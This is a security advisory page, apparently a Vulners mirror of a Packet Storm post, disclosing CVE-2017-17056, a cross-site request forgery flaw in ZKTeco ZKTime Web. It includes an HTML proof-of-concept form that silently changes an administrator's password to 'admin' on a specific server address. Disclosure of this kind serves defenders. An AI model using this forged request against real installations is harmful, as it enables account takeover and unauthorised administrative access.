ZKTeco ZKTime Web 2.0.1.12280 Cross Site Request Forgery

🗓️ 30 Nov 2017 00:00:00Reported by Himanshu MehtaType

packetstorm🔗 packetstormsecurity.com👁 71 Views

ZKTeco ZKTime Web CSRF Vulnerabilit

Reporter	Title	Published	Views	Family All 8
0day.today	ZKTeco ZKTime Web 2.0.1.12280 Cross Site Request Forgery Vulnerability	1 Dec 201700:00	–	zdt
CNVD	ZKTime Web Software Cross-Site Scripting Vulnerability	4 Dec 201700:00	–	cnvd
CVE	CVE-2017-17056	4 Dec 201714:00	–	cve
Cvelist	CVE-2017-17056	4 Dec 201714:00	–	cvelist
EUVD	EUVD-2017-8223	7 Oct 202500:30	–	euvd
NVD	CVE-2017-17056	4 Dec 201714:29	–	nvd
OpenVAS	ZKTeco ZKTime Web Multiple Vulnerabilities	5 Dec 201700:00	–	openvas
Prion	Design/Logic Flaw	4 Dec 201714:29	–	prion

`*1. Introduction*  
  
Vendor: ZKTeco  
Affected Product: ZKTime Web - 2.0.1.12280  
Fixed in:  
Vendor Website: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html  
Vulnerability Type: Cross Site Request Forgery  
Remote Exploitable: Yes  
CVE: CVE-2017-17056  
  
*2. Product description*  
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software,  
which provided a stable communication for devices through GPRS/WAN,  
hence, users can access the software anywhere by their Web Browser to  
remotely manage hundreds of T&A terminals under complex network  
condition (WLAN). The Application has an administrator role and  
application user role.  
  
*3. Attack Description*  
The ZKTime Web Software allows the Administrator to elevate the  
privileges of the application user using a 'password_change()'  
function of the Modify Password component.  
  
An Attacker takes advantage of this scenario and creates a crafted  
link to add himself as an administrator to the ZKTime Web Software. He  
then uses social engineering methods to trick the administrator into  
click the forged http request. The request is executed and the  
attacker becomes the Administrator of the ZKTime Web Software.  
  
*4. Proof of Concept Code*  
Forged HTTP Request used by the attacker:  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://110.80.38.74:8060/accounts/password_change/?stamp=1511716959229"  
method="POST">  
<input type="hidden" name="old_password" value="xmzkteco888" />  
<input type="hidden" name="new_password1" value="admin" />  
<input type="hidden" name="new_password2" value="admin" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
*5. Impact*  
If the vulnerability is successfully exploited than an attacker (who  
would be a normal user of the web application) can escalate his  
privileges and become the administrator of ZK Time Web Software.  
  
*6. References*  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17056  
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=>  
  
*7. Credit*  
Himanshu Mehta (@LionHeartRoxx)  
`

30 Nov 2017 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.0018